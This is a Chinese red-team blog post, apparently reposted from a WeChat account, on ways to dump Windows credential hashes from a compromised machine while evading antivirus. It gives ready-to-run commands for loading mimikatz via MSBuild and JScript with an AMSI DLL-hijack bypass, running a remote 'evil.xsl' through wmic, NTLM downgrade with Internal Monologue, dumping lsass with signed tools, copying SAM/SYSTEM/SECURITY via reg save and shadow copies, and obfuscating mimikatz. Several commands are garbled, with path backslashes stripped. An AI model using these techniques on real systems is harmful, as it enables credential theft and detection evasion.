抓取HASH的10001种方法

  • A+
所属分类:安全文章

这是 酒仙桥六号部队 的第 145 篇文章。

全文共计3601个字,预计阅读时长10分钟


前言

在我们内网拿下机器时候,总会需要去抓取机器账户 HASH 值,但是往往大部分情况下机器存在杀软,有杀软的情况下服务器第一时间就干掉了最爱的 mimikatz。

抓取HASH的10001种方法

抓取HASH的10001种方法

我们需要更多的方法去抓取 HASH,常见的方法就不再详细举例了。

Net4.0 执行读取

下载 xml 文件

https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20mimikatz.xml

进入 Net4.0 目录,执行即可。

cd C:WindowsMicrosoft.NETFramework64v4.0.30319.MSBuild.exe 1.xml

抓取HASH的10001种方法


JS 加载

cscript mimikatz.js

它已经能被一些敏感的 AV 识别,我们可以对其进行 bypass,通过 DLL 劫持绕过。发现在 ProcessMonitor 可以看到进程调用 C:WindowsSystem32amsi.dll

抓取HASH的10001种方法

我们直接对其 DLL 劫持即可。

copy c:windowssystem32cscript amsi.dllasmi.dll 11.js

抓取HASH的10001种方法

如何生成 mimikatz 的 js 版本,可以参考看下面的介绍。

https://gist.github.com/pljoel/42dae5e56a86a43612bea6961cb59d1a

抓取HASH的10001种方法

这里用 csc 生成了 base64 加密的版本,再用使用 javascript 启动内存中的 mimikatz。

wmic 调用

本地:wmic process list /FORMAT:evil.xsl

抓取HASH的10001种方法

远程:wmic os get /FORMAT:"https://example.com/evil.xsl"

抓取HASH的10001种方法

Internal Monologue Attack

https://github.com/eladshamir/Internal-Monologue

介绍:通过 SSPI 调⽤ NTLM 身份验证,通过协商使⽤预定义 challenge 降级为 NetNTLMv1,获取到 NetNTLMv1 hash。⽽ NetNTLMv1 hash 可以短时间内使⽤彩虹表去破解。

这种情况可以在不接触 LSASS 的情况下检索 NTLM 哈希。可以说比运行 Mimikatz 更隐秘,因为不需要向受保护的进程注入代码或从受保护的进程中转储内存。由于 NetNTLMv1 响应是通过在本地与 NTLMSSP 进行交互而引发的,因此不会生成网络流量,并且所选择的挑战也不容易看到。没有成功的 NTLM 身份验证事件记录在日志中。

关于降级 NTLM 攻击可以看看这里

https://www.optiv.com/explore-optiv-insights/blog/post-exploitation-using-netntlm-downgrade-attacks

.InternalMonologue.exe -Downgrade True -Restore False -Imperssonate True-Verbose True -Challenge 1122334455667788

成功出现当前的账户 HASH 值。

抓取HASH的10001种方法


Bypass

部分杀软很变态能够将这些杀死,我们可以用几个方法将其绕过,转储 LASS,读取系统文件,制作新的 Bypassmimikazi 等等。

Procdump

抓取HASH的10001种方法

官方介绍:ProcDump 是一个命令行实用程序,其主要目的是监视应用程序中的 CPU 尖峰并在尖峰期间生成崩溃转储,管理员或开发人员可以使用它来确定尖峰原因。ProcDump 还包括挂起的窗口监视,未处理的异常监视,并且可以基于系统性能计数器的值生成转储。它也可以用作常规流程转储实用程序。

大家都熟知的 Procdump,由于它是微软官方的签名,所以我们能通过它 bypass 某些不怎么样的杀软来 dump 出 lass 存储的密码。

抓取HASH的10001种方法

执行如下命令

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

抓取HASH的10001种方法

在本机的上面跑 mimikazi 进行密码的成功查看

抓取HASH的10001种方法

Avdump

Avdump.exe 是在 Avast HomeSecurity 产品套件一起提供的小工具。顾名思义,该实用程序将给定进程标识符的内存转储到用户指定的位置。我们可以通过它进行新的 dump 方式利用。

抓取HASH的10001种方法

它自带 Avast 杀软公司白签名。

抓取HASH的10001种方法

我们直接运行即可。

.AvDump.exe --pid 696 --exception_ptr 0 --dump_level 1 --thread_id 0--min_interval 0 --dump_file e:tmplast.dmp

抓取HASH的10001种方法

在本机的上面跑 mimikazi 进行密码的成功查看。

抓取HASH的10001种方法


SAM 解密

像一些变态的 EDR,会禁用 Procdump、Minidump 等⽅式转储 lsass 进程,我们可以换一种方法。

SAM 它是安全帐户管理器。⽤于存储⽤户和 hash,可以⽤来验证本地和远程⽤户。

要解密 hash,我们需要获取到 SAM SYSTEM SECURITY 这三个⽂件。只要有这3个文件我们就能进行读取。


注册表复值

REG SAVE 将指定的子项、项和注册表值的副本保存到指定文件中,直接保存就完事了。

reg save hklmsystem SYSTEMreg save hklmsam SAMreg save hklmsecurity SECURITY

抓取HASH的10001种方法

卷影复制

通过拷⻉卷影副本卷中的⽂件来读取 3 个文件

先创建 c 盘的 shadowscopy

wmic shadowcopy call create volume='c:'

抓取HASH的10001种方法

列出 shadows 的 list,从中并选择卷影副本卷,再复制我们需要的三个文件。

vssadmin list shadowscopy\?GLOBALROOTDeviceHarddiskVolumeShadowCopy4Windowssystem32configsam.copy\?GLOBALROOTDeviceHarddiskVolumeShadowCopy4Windowssystem32configsecurity.copy\?GLOBALROOTDeviceHarddiskVolumeShadowCopy4Windowssystem32configsystem.

抓取HASH的10001种方法

抓取HASH的10001种方法

解密恢复 HASH

通过上面几种方法拿到 3 个文件后,我们用 impacket-secretsdump 来进行解密。

impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL

用得到的 HASH 直接去解密即可。

抓取HASH的10001种方法

抓取HASH的10001种方法


mimikatz 免杀

除此之外我们还可以对 MIMIKAZi 进行免杀的处理。

一般的方法是删除代码层 MIMIKATZ 特征,默认资源,如 ICO 图标,替换 bin 包内容。

混淆编译完程序(加壳),克隆签名等等。

替换删除敏感词/修改图标 ico

抓取HASH的10001种方法

抓取HASH的10001种方法

修改 rc 特征。

抓取HASH的10001种方法

利用Hex找出一些敏感 DLL,函数如 wdigest.dll,isbase64interceptinput 等等进行替换

抓取HASH的10001种方法

替换敏感的 bin 文件中方法指定成系统自带的 dll 方法

netapi32

抓取HASH的10001种方法

系统中 netapi32.dll 文件

抓取HASH的10001种方法

创建 bin 文件并将其方法指定成系统的 function。

抓取HASH的10001种方法

抓取HASH的10001种方法

最后使用 themdia 加壳后再运行。

抓取HASH的10001种方法

成功运行无报警。

抓取HASH的10001种方法


总结

随着 AV 查杀,态势行为特征扫描的发展,利用的难度也越来越大,我们也需要不断提高自身的姿势水平,学习更好的方法来进行红蓝对抗。


参考链接:

https://www.archcloudlabs.com/projects/dumping-memory-with-av/

https://blog.xpnsec.com/exploring-mimikatz-part-2/

https://www.optiv.com/explore-optiv-insights/blog/post-exploitation-using-netntlm-downgrade-attacks

https://www.tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html

https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/

https://evi1cg.me/archives/AMSI_bypass.html

https://blog.csdn.net/wxh0000mm/article/details/105842889

https://www.secpulse.com/archives/71380.html


抓取HASH的10001种方法

抓取HASH的10001种方法

本文始发于微信公众号(酒仙桥六号部队):抓取HASH的10001种方法

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: